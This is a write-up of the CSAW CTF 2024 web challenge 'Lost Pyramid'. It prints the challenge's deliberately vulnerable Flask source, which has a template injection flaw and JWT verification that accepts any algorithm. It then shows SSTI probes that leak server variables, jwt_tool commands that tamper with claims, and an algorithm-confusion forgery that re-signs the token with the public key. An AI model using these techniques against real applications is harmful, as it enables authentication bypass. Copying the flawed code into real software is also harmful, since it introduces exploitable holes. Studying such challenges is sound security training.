Lost Pyramid
Writeup for Lost Pyramid (Web) - CSAW CTF (2024) ๐
Description
A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?
Source Code
from flask import Flask, request, render_template, jsonify, make_response, redirect, url_for, render_template_string
import jwt
import datetime
import os
app = Flask(__name__)
# Load keys
with open('private_key.pem', 'rb') as f:
PRIVATE_KEY = f.read()
with open('public_key.pub', 'rb') as f:
PUBLICKEY = f.read()
KINGSDAY = os.getenv("KINGSDAY", "TEST_TEST")
current_date = datetime.datetime.now()
current_date = current_date.strftime("%d_%m_%Y")
@app.route('/entrance', methods=['GET'])
def entrance():
payload = {
"ROLE": "commoner",
"CURRENT_DATE": f"{current_date}_AD",
"exp": datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=(365*3000))
}
token = jwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
response = make_response(render_template('pyramid.html'))
response.set_cookie('pyramid', token)
return response
@app.route('/hallway', methods=['GET'])
def hallway():
return render_template('hallway.html')
@app.route('/scarab_room', methods=['GET', 'POST'])
def scarab_room():
try:
if request.method == 'POST':
name = request.form.get('name')
if name:
kings_safelist = ['{','}', '๐น', '๐ฃ','๐', '๐', '๐', '๐', '๐', '๐
', '๐', '๐', '๐', '๐', '๐',
'๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐',
'๐ ', '๐ก', '๐ข', '๐ฃ', '๐ค', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ',
'๐ฐ', '๐ฑ', '๐ฒ', '๐ณ', '๐ด', '๐ต', '๐ถ', '๐ท', '๐ธ', '๐น', '๐บ', '๐ป']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lost Pyramid</title>
<style>
body {
margin: 0;
height: 100vh;
background-image: url('{{ url_for('static', filename='scarab_room.webp') }}');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
font-family: Arial, sans-serif;
color: white;
position: relative;
}
.return-link {
position: absolute;
top: 10px;
right: 10px;
font-family: 'Noto Sans Egyptian Hieroglyphs', sans-serif;
font-size: 32px;
color: gold;
text-decoration: none;
border: 2px solid gold;
padding: 5px 10px;
border-radius: 5px;
background-color: rgba(0, 0, 0, 0.7);
}
.return-link:hover {
background-color: rgba(0, 0, 0, 0.9);
}
h1 {
color: gold;
}
</style>
</head>
<body>
<a href="{{ url_for('hallway') }}" class="return-link">RETURN</a>
<div data-gb-custom-block data-tag="if">
<h1>๐น๐น๐น Welcome to the Scarab Room, '''+ name + ''' ๐น๐น๐น</h1>
</div>
</body>
</html>
''', name=name, **globals())
except Exception as e:
pass
return render_template('scarab_room.html')
@app.route('/osiris_hall', methods=['GET'])
def osiris_hall():
return render_template('osiris_hall.html')
@app.route('/anubis_chamber', methods=['GET'])
def anubis_chamber():
return render_template('anubis_chamber.html')
@app.route('/')
def home():
return redirect(url_for('entrance'))
@app.route('/kings_lair', methods=['GET'])
def kings_lair():
token = request.cookies.get('pyramid')
if not token:
return jsonify({"error": "Token is required"}), 400
try:
decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())
if decoded.get("CURRENT_DATE") == KINGSDAY and decoded.get("ROLE") == "royalty":
return render_template('kings_lair.html')
else:
return jsonify({"error": "Access Denied: King said he does not way to see you today."}), 403
except jwt.ExpiredSignatureError:
return jsonify({"error": "Access has expired"}), 401
except jwt.InvalidTokenError as e:
print(e)
return jsonify({"error": "Invalid Access"}), 401
if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 8050)
Solution
Looking at the code, we need to ensure the CURRENT_DATE
claim in the JWT is set to KINGSDAY
and the ROLE
is set to royalty
.
Note that KINGSDAY
is set as environment variable so even if we could easily tamper with our JWT, we don't know what it is the correct date on the server-side.
Let's check the JWT format.
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoiY29tbW9uZXIiLCJDVVJSRU5UX0RBVEUiOiIwN18wOV8yMDI0X0FEIiwiZXhwIjo5NjMzMzcxNDI5OX0.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ
=====================
Decoded Token Values:
=====================
Token header values:
[+] typ = "JWT"
[+] alg = "EdDSA"
Token payload values:
[+] ROLE = "commoner"
[+] CURRENT_DATE = "07_09_2024_AD"
[+] exp = 96333714299 ==> TIMESTAMP = 5022-09-11 14:04:59 (UTC)
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
What happens if we modify the JWT?
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoiY29tbW9uZXIiLCJDVVJSRU5UX0RBVEUiOiIwN18wOV8yMDI0X0FEIiwiZXhwIjo5NjMzMzcxNDI5OX0.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ -I -pc ROLE -pv royalty
eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoicm95YWx0eSIsIkNVUlJFTlRfREFURSI6IjA3XzA5XzIwMjRfQUQiLCJleHAiOjk2MzMzNzE0Mjk5fQ.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ
We get an invalid access
error due to the mismatched signature. I also tried the "none" algorithm attack but had the same issue.
Checking a different endpoint; https://lost-pyramid.ctf.csaw.io/scarab_room, it seems to be vulnerable to SSTI, but we have a filter.
kings_safelist = ['{','}', '๐น', '๐ฃ','๐', '๐', '๐', '๐', '๐', '๐
', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐', '๐',
'๐ ', '๐ก', '๐ข', '๐ฃ', '๐ค', '๐ฅ', '๐ฆ', '๐ง', '๐จ', '๐ฉ', '๐ช', '๐ซ', '๐ฌ', '๐ญ', '๐ฎ', '๐ฏ',
'๐ฐ', '๐ฑ', '๐ฒ', '๐ณ', '๐ด', '๐ต', '๐ถ', '๐ท', '๐ธ', '๐น', '๐บ', '๐ป']
name = ''.join([char for char in name if char.isalnum() or char in kings_safelist])
We can use curly braces and alphanumeric characters, e.g. {{config}}
.
{'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}
Tried to check {{settings}}
as well, but no output.
Converting the filter list to decimals, we'll see the size difference of the characters.
{
"{": 123,
"}": 125,
"๐น": 77945,
"๐ฃ": 78243,
"๐": 77824,
"๐": 77825,
"๐": 77826,
"๐": 77827,
"๐": 77828,
"๐
": 77829,
"๐": 77830,
"๐": 77831,
"๐": 77832,
"๐": 77833,
"๐": 77834,
"๐": 77840,
"๐": 77841,
"๐": 77842,
"๐": 77843,
"๐": 77844,
"๐": 77845,
"๐": 77846,
"๐": 77847,
"๐": 77848,
"๐": 77849,
"๐": 77850,
"๐": 77851,
"๐": 77852,
"๐": 77853,
"๐": 77854,
"๐": 77855,
"๐ ": 77856,
"๐ก": 77857,
"๐ข": 77858,
"๐ฃ": 77859,
"๐ค": 77860,
"๐ฅ": 77861,
"๐ฆ": 77862,
"๐ง": 77863,
"๐จ": 77864,
"๐ฉ": 77865,
"๐ช": 77866,
"๐ซ": 77867,
"๐ฌ": 77868,
"๐ญ": 77869,
"๐ฎ": 77870,
"๐ฏ": 77871,
"๐ฐ": 77872,
"๐ฑ": 77873,
"๐ฒ": 77874,
"๐ณ": 77875,
"๐ด": 77876,
"๐ต": 77877,
"๐ถ": 77878,
"๐ท": 77879,
"๐ธ": 77880,
"๐น": 77881,
"๐บ": 77882,
"๐ป": 77883
}
A useful character here might .
, which is ASCII code 46
. Searching the above list, only one is worth investigating:
'๐':77846
Breaking the unicode into ASCII, we'll find 778
is a newline (%0a
) and 46
is a .
Wait, I'm a n00b.. I just realised we can send {{KINGSDAY}}
to print the variable.
03_07_1341_BC
Let's forge a JWT with the correct ROLE
and CURRENT_DATE
.
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoiY29tbW9uZXIiLCJDVVJSRU5UX0RBVEUiOiIwN18wOV8yMDI0X0FEIiwiZXhwIjo5NjMzMzcxNDI5OX0.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ -I -pc ROLE -pv royalty -pc CURRENT_DATE -pv 03_07_1341_BC
eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoicm95YWx0eSIsIkNVUlJFTlRfREFURSI6IjAzXzA3XzEzNDFfQkMiLCJleHAiOjk2MzMzNzE0Mjk5fQ.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ
Still can't use it. Tried to use SSTI to get {{PRIVATE_KEY}}
but doesn't print. We can print the {{PUBLICKEY}}
though.
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2
Save it to a file and use algorithm confusion.
jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSJ9.eyJST0xFIjoiY29tbW9uZXIiLCJDVVJSRU5UX0RBVEUiOiIwN18wOV8yMDI0X0FEIiwiZXhwIjo5NjMzMzcxNDI5OX0.53yJHr1ZxEYzRIrX2GEDao3kTbAY-W3y-9vOHZvRCmYtD49ty-EIo7KyjpwPEEmz-FxxUq2rynETCKiW_6ZIBQ -I -pc ROLE -pv royalty -pc CURRENT_DATE -pv 03_07_1341_BC -X k -pk pubkey
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJST0xFIjoicm95YWx0eSIsIkNVUlJFTlRfREFURSI6IjAzXzA3XzEzNDFfQkMiLCJleHAiOjk2MzMzNzE0Mjk5fQ.c5OwTPXb7qLz-R0mAhBj03jauzQEcnRBcor9KVyW8Q8
It doesn't work! I tried various formats for the public key, but all failed. I assumed I must need the PRIVATE_KEY
but couldn't use _
due to the filter list. I was confident there was some unicode issue; otherwise, why include all those symbols in the filter list?
After the CTF, I found out that key confusion was the correct approach (signing with the public key and switching to symmetric); I must have just had the wrong format for the public key. Overall, it's still a pretty cool challenge, but I think the public key should have been in a usable format, and the filter list was an unneeded distraction.
Flag: csawctf{cat_fails_challenge}
Last updated